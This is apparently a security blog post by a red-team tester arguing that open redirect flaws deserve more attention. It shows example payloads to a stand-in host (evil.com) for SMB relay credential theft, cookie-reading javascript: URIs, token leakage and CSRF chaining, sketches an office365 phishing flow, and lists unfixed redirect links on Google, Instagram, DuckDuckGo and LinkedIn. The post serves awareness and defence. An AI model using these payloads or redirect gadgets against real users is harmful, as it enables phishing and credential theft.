Open redirects - the vulnerability class no one but attackers cares about


Redirecting (or forwarding) is the act of directing a user to another web resource. An open redirect flaw occurs when an attacker is able to redirect a user to an arbitrary destination. Open redirect flaws often occur because a website fails to validate the destination of a legitimate redirect or due to a cross-site scripting flaw. For example, assume a URL looking like this:

https://example.com/auth.php?to=https://example.com/profile

When a user visits the link, the website redirects to the /profile resource. However, unless there is proper validation, an attacker could simply modify the to parameter.

https://example.com/auth.php?to=https://evil.com/login

Red team assignments is a type of security gig where companies hire guys like me and my colleagues. We do the assignment without anyone besides the buyer knowing. They give us the task to try to obtain access to high value targets in an organization (e.g. a domain controller), just like an advanced persistent threat would do it.

How do we usually get the initial foothold you might ask. Deserialization bugs? Buffer overflows? SQL injections? Well, no. At least it is safe to say that it very rarely has to come to that. If you want an initial foothold, what you need is a really good phishing attack. For that you might want to use a open redirect. Yes. Open redirects in your own websites or in your vendors website are something you should worry about. But before we get to that, let's look at the different types of open redirects.

Types

There are three major types of open redirects. The types are very similar to those of cross-site scripting (i.e. reflected, persistent and DOM-based). The types are important to understand because the impact is quite different depending on what type of open redirect it is.

Reflected

Reflected Open Redirect occurs when user input is immediately causing a web application to redirect the user to a web resource of the attacker's choosing.

Persistent

Persistent Open Redirect occurs when user input is stored on the target server, such as in a database, in a username, visitor log, comment field, etc. The redirection is then caused due to the user input being returned to one or many users.

DOM-based

In some cases, the user provided data may never even leave the browser (e.g. manipulation of document.location.href). The attack payload might also be permanently stored in the victim's browser (e.g. HTML5 database).

Impact of open redirect

Windows credential stealing

An attacker could exploit an open redirect by combining Metasploit SMB relay and the open redirect flaw. The attacker would set up exploits/windows/smb/smb_relay on evil.com and redirect to \\evil.com\c$. When the redirect occurs, the victim will to try to open a network share and thus send over their windows credentials. This attack only works on victims that is using Internet Explorer.

Example: https://example.com/?u=\\evil.com\c$

Javascript execution

The attacker could redirect to a javascript URI. This only works in the case of DOM-based Open Redirect. It would not work in server-side open redirects, for example in the case of a manipulated HTTP location header. Because of this attack vector, DOM open redirect is a XSS flaw.

Example: https://example.com/#javascript:alert(document.cookie)

Phishing redirect

When a user clicks a link in an email, they are taught to first hover the link and read where it goes. If the link points to a website they trust, it is very likely that they will follow the link. Only a really trained eye would react due to a redirection after clicking a trusted link. In fact, redirects are actually very common the case of authentication.This type of attack that you should be worried about that I mentioned in the introduction. An attack that is almost 100% success that we commonly use looks similarily to this:1. The victim gets an email saying "Alice shared a document with you"2. The email contains a link to office365.com.3. The victim clicks the link and gets redirected to office365.secure.evil.com. Note that the user is used to being redirected when authenticating due to Single-sign on features.4. The victim fails to verify the final url and leaks his credentials.5. The victim is then redirected to the real logon portal where they [presumibly] successfully log in.

It is not only hard to detect the attack for the victim, but in many cases also for the blue team who tries to find the phishing email / patient zero from the bigger picture.

Example: https://example.com/?u=https://evil.com/login

Referrer data leakage

In special cases, the open redirect flaw is present at a page that contains secrets in GET parameters. This is quite uncommon, as secrets in GET parameters is a very bad practice.

Example: https://example.com/resetpassword/?token=ababababababababababababababab&returl=https://evil.com

Malicious website redirect

The most obvious attack vector would be to redirect to a malicious website. The attack vector's impact will be limited by the victim's browser (e.g. very high if outdated/vulnerable).

Example: https://example.com/?u=https://evil.com

Exploiting GET-based CSRF

Assume a open redirect in a trusted website that also has a GET-based CSRF flaw. The attacker would be able to redirect the victims in order to make them execute the vulnerable functionality.

Example: https://example.com/?u=https://example.com/?del_user=1

List of WONTFIX open redirects

I hope I have made the case that open redirects are underrated. Sadly, most seem to not agree. This is a list of websites that have known open redirects.

Disclaimer: I do not mean to single out these companies. These companies were picked because they are usually great at managing security issues. The fact that they wont fix these open redirects shows the enourmous ignorance of the vulnerability class. There are many other companies that have open redirect issues.

Google AppEngine (appengine.google.com)TLDR: Reflected open redirect in Google AppEngine results.

Status: WONTFIX

Steps to reproduce:

http://appengine.google.com/_ah/logout?continue=http://example.com


Instagram profile link (l.instagram.com/)TLDR: Reflected open redirect in Instagram profile website link.

Status: WONTFIX

Steps to reproduce:0. Create a profile.1. Login using your computer's web browser.2. Go to settings, and add your link to the website field.

3. Go to public profile and add description link: https://l.instagram.com/?u=http%3A%2F%2Fexample.com%2F&e=[token]

DuckDuckGo (duckduckgo.com)TLDR: Reflected open redirect on duckduckgo.com.

Status: WONTFIX

Steps to reproduce:

https://duckduckgo.com/l/?kh=-1&uddg=http://example.com

Google search (google.com)TLDR: Reflected open redirect in Google search results.

Status: WONTFIX

Steps to reproduce:0. Setup a website1. Make google index your website2. Copy the search result link from Google

https://www.google.com/url?sa=t&rct=j&q=&ved=[token]&url=http%3A%2F%2Fexample.com%2F&usg=[token]


3. Change the website content (optional)

LinkedIn (linkedin.com)TLDR: Reflected open redirect on linkedin.com.

Status: WONTFIX

Steps to reproduce:0: Create a linkedin account

1: Post a link and copy https://www.linkedin.com/redir/redirect?url=http%3A%2F%2Fexample%2Ecom&urlhash=[token]

The case for open redirects

I would like to urge you to reconsider the threat of open redirect attacks.Until you do, bad guys will keep exploiting them and eat of the trust your users have in your brand.

In most cases is not difficult to do secure redirection. There really is no excuse to ignore vulnerabilities that are constantly used in phishing attacks, lead to javascript execution or hash stealing.